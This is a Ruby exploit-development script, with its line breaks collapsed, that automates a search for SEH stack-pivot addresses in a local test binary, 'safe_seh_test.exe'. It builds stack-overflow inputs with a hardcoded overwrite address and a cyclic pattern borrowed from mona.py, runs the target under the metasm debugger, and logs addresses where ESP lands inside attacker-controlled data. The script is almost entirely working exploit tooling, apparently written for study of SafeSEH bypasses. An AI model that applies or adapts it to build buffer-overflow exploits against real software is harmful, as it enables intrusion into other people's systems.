#!/usr/bin/env ruby # encoding: ascii # By 0vercl0k require 'metasm' require 'pp' include Metasm # Extraced from mona.py by corelanc0d3r def pattern_create(max) char1 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' char2 = 'abcdefghijklmnopqrstuvwxyz' char3 = '0123456789' charcnt = 0 pattern = '' for ch1 in char1.each_char() for ch2 in char2.each_char() for ch3 in char3.each_char() if charcnt < max pattern += ch1 charcnt += 1 end if charcnt < max pattern += ch2 charcnt += 1 end if charcnt < max pattern += ch3 charcnt += 1 end end end end return pattern end def pattern_find(pattern, size) s = pattern_create(size) if (id = s.index([pattern].pack('I'))) != nil return id end return nil end def main(args, argv) if args != 2 print "Usage: ./#{$0} <addr_start> <addr_end> <payload>\n" return -1 end # Retrieve the entrypoint exe = AutoExe.decode_file('safe_seh_test.exe') ep = exe.optheader.entrypoint + exe.optheader.image_base size = 512 start_addr = argv[0].to_i(16) end_addr = argv[1].to_i(16) offset = 100 eip_pwner = 0x72c611c1 while start_addr <= end_addr input = 'A' * 532 + [eip_pwner].pack('I') + 'B' * offset + [start_addr].pack('I') + pattern_create(size) print "%s RET@%#.8x (%d / %d) %s\n" % ["-"*8, start_addr, (start_addr - argv[0].to_i(16)), (argv[1].to_i(16) - argv[0].to_i(16)), "-"*8] print "[*] Debugging the binary..\n" dbg = OS.current.create_debugger('safe_seh_test.exe "' + input + '"') # We don't want extra log dbg.set_log_proc(lambda { |h| }) ep_reached = false first_exception_passed = false # Install our exception-probe dbg.callback_exception = lambda { |h| if h[:type] == 'access violation' and ep_reached == true addr_exception = h[:st].ExceptionAddress || 0 mod = dbg.addr2module(addr_exception) print "[*] Exception Address occurs in: %s (%#.8x)\n" % [ dbg.addrname!(addr_exception), addr_exception ] # If an exception does not occured in any modules -> the seh handle pivoted somewhere (somewhere that maybe we control) if first_exception_passed == true dbg.kill() else first_exception_passed = true dbg.pass_current_exception() end # In case of an unknown type of exception occurs, we kill the debuggee (privileged instruction for example) else # Be carreful, we use a soft bp to stop the execution to the entrypoint if h[:type] != 'breakpoint' dbg.kill() end end } print "[*] Now, I try to reach the entry_point (%#.8x)..\n" % ep dbg.go(ep) ep_reached = true print "[*] Ok, entry point reached. Now passing all the exceptions to the debuggee..\n" dbg.run_forever() print "[*] Final fault at: %s - (ESP=%#.8x)\n" % [dbg.addrname!(dbg[:eip]), dbg[:esp]] #0013FD58 41414141 AAAA #[...] #0013FFFC 37654136 6Ae7 if dbg[:esp] >= 0x13FD58 and dbg[:esp] <= 0x13FFFC f = File.open("stack-pivot.txt", "ab") f.puts("-"*16) f.puts("[*]It seems I have found a stack-pivot at: %#.8x\n" % start_addr) f.puts(input) f.close() print "[*]It seems I have found a stack-pivot at: %#.8x\n" % start_addr end start_addr += 1 end return 0 end if $0 == __FILE__ exit(main(ARGV.size(), ARGV)) end